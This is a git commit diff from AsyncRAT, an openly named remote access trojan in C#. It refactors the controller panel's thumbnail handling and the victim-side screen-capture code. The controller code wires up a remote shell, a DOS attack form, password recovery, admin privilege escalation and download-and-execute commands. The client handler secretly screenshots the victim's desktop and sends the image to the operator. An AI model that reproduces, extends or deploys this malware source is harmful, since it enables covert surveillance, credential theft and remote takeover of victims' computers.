Update thumbnails
This commit is contained in:
parent
b9f90731af
commit
ced6449752
@ -88,8 +88,6 @@ namespace AsyncRAT_Sharp
|
||||
{
|
||||
portsFrm.ShowDialog();
|
||||
}
|
||||
|
||||
Properties.Settings.Default.Reload();
|
||||
#endif
|
||||
|
||||
|
||||
@ -166,7 +164,7 @@ namespace AsyncRAT_Sharp
|
||||
toolStripStatusLabel1.Text = $"Online {listView1.Items.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()} CPU {(int)performanceCounter1.NextValue()}% RAM {(int)performanceCounter2.NextValue()}%";
|
||||
}
|
||||
|
||||
|
||||
|
||||
private void bUILDERToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
using (FormBuilder formBuilder = new FormBuilder())
|
||||
@ -204,20 +202,26 @@ namespace AsyncRAT_Sharp
|
||||
}
|
||||
private void GetThumbnails(object obj)
|
||||
{
|
||||
if (listView1.Items.Count > 0)
|
||||
if (Program.form1.listView3.InvokeRequired)
|
||||
{
|
||||
try
|
||||
Program.form1.listView3.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
|
||||
|
||||
foreach (ListViewItem itm in listView1.Items)
|
||||
if (listView1.Items.Count > 0)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
try
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
|
||||
|
||||
foreach (ListViewItem itm in listView1.Items)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}));
|
||||
}
|
||||
}
|
||||
|
||||
@ -249,7 +253,7 @@ namespace AsyncRAT_Sharp
|
||||
Properties.Settings.Default.Notification = true;
|
||||
}
|
||||
Properties.Settings.Default.Save();
|
||||
}
|
||||
}
|
||||
|
||||
private async void DownloadAndExecuteToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
@ -524,11 +528,6 @@ namespace AsyncRAT_Sharp
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void SEEDTORRENTToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
private void VisitWebsiteToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
@ -674,14 +673,6 @@ namespace AsyncRAT_Sharp
|
||||
catch { }
|
||||
}
|
||||
|
||||
private readonly FormDOS formDOS = new FormDOS();
|
||||
|
||||
private void DOSAttackToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
formDOS.Show();
|
||||
|
||||
}
|
||||
|
||||
private void FileManagerToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
@ -716,39 +707,6 @@ namespace AsyncRAT_Sharp
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void RemoteShellToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "shell";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
this.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID];
|
||||
if (shell == null)
|
||||
{
|
||||
shell = new FormShell
|
||||
{
|
||||
Name = "shell:" + client.ID,
|
||||
Text = "shell:" + client.ID,
|
||||
F = this,
|
||||
C = client
|
||||
};
|
||||
shell.Show();
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void PasswordRecoveryToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
@ -864,12 +822,6 @@ namespace AsyncRAT_Sharp
|
||||
}
|
||||
}
|
||||
|
||||
private void SeedTorrentToolStripMenuItem1_Click(object sender, EventArgs e)
|
||||
{
|
||||
FormTorrent formTorrent = new FormTorrent();
|
||||
formTorrent.Show();
|
||||
}
|
||||
|
||||
private void GetAdminPrivilegesToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
@ -1083,5 +1035,79 @@ namespace AsyncRAT_Sharp
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void ShowFolderToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
try
|
||||
{
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + client.ID);
|
||||
if (Directory.Exists(fullPath))
|
||||
{
|
||||
Process.Start(fullPath);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
private void SeedTorrentToolStripMenuItem1_Click_1(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
using (FormTorrent formTorrent = new FormTorrent())
|
||||
{
|
||||
formTorrent.ShowDialog();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void RemoteShellToolStripMenuItem1_Click_1(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (listView1.SelectedItems.Count > 0)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "shell";
|
||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||
{
|
||||
Clients client = (Clients)itm.Tag;
|
||||
this.BeginInvoke((MethodInvoker)(() =>
|
||||
{
|
||||
FormShell shell = (FormShell)Application.OpenForms["shell:" + client.ID];
|
||||
if (shell == null)
|
||||
{
|
||||
shell = new FormShell
|
||||
{
|
||||
Name = "shell:" + client.ID,
|
||||
Text = "shell:" + client.ID,
|
||||
F = this,
|
||||
C = client
|
||||
};
|
||||
shell.Show();
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private readonly FormDOS formDOS = new FormDOS();
|
||||
private void DOSAttackToolStripMenuItem_Click_1(object sender, EventArgs e)
|
||||
{
|
||||
if (listView1.Items.Count > 0)
|
||||
{
|
||||
formDOS.Show();
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -1,5 +1,6 @@
|
||||
using AsyncRAT_Sharp.MessagePack;
|
||||
using AsyncRAT_Sharp.Sockets;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
@ -25,19 +26,15 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
||||
{
|
||||
Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
|
||||
client.LV2.ImageKey = client.ID;
|
||||
Program.form1.listView3.BeginUpdate();
|
||||
Program.form1.listView3.Items.Insert(0, client.LV2);
|
||||
Program.form1.listView3.EndUpdate();
|
||||
Program.form1.listView3.Items.Add(client.LV2);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
using (MemoryStream memoryStream = new MemoryStream(unpack_msgpack.ForcePathObject("Image").GetAsBytes()))
|
||||
{
|
||||
Program.form1.listView3.BeginUpdate();
|
||||
Program.form1.ThumbnailImageList.Images.RemoveByKey(client.ID);
|
||||
Program.form1.ThumbnailImageList.Images.Add(client.ID, Bitmap.FromStream(memoryStream));
|
||||
Program.form1.listView3.EndUpdate();
|
||||
}
|
||||
}
|
||||
}));
|
||||
@ -46,4 +43,4 @@ namespace AsyncRAT_Sharp.Handle_Packet
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,33 +0,0 @@
|
||||
using Client.MessagePack;
|
||||
using Client.Sockets;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandleGetScreenShot
|
||||
{
|
||||
public HandleGetScreenShot()
|
||||
{
|
||||
Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
|
||||
using (Graphics g = Graphics.FromImage(bmp))
|
||||
using (MemoryStream memoryStream = new MemoryStream())
|
||||
{
|
||||
g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size);
|
||||
Image thumb = bmp.GetThumbnailImage(256, 256, () => false, IntPtr.Zero);
|
||||
thumb.Save(memoryStream, ImageFormat.Jpeg);
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
|
||||
msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
bmp.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
38
AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs
Normal file
38
AsyncRAT-C#/Client/Handle Packet/HandleThumbnails.cs
Normal file
@ -0,0 +1,38 @@
|
||||
using Client.MessagePack;
|
||||
using Client.Sockets;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Client.Handle_Packet
|
||||
{
|
||||
public class HandleThumbnails
|
||||
{
|
||||
public HandleThumbnails()
|
||||
{
|
||||
try
|
||||
{
|
||||
Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
|
||||
using (Graphics g = Graphics.FromImage(bmp))
|
||||
using (MemoryStream memoryStream = new MemoryStream())
|
||||
{
|
||||
g.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size);
|
||||
Image thumb = bmp.GetThumbnailImage(256, 256, () => false, IntPtr.Zero);
|
||||
thumb.Save(memoryStream, ImageFormat.Jpeg);
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "thumbnails";
|
||||
msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray());
|
||||
ClientSocket.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
bmp.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
@ -41,7 +41,7 @@ namespace Client.Handle_Packet
|
||||
|
||||
case "thumbnails":
|
||||
{
|
||||
new HandleGetScreenShot();
|
||||
new HandleThumbnails();
|
||||
break;
|
||||
}
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user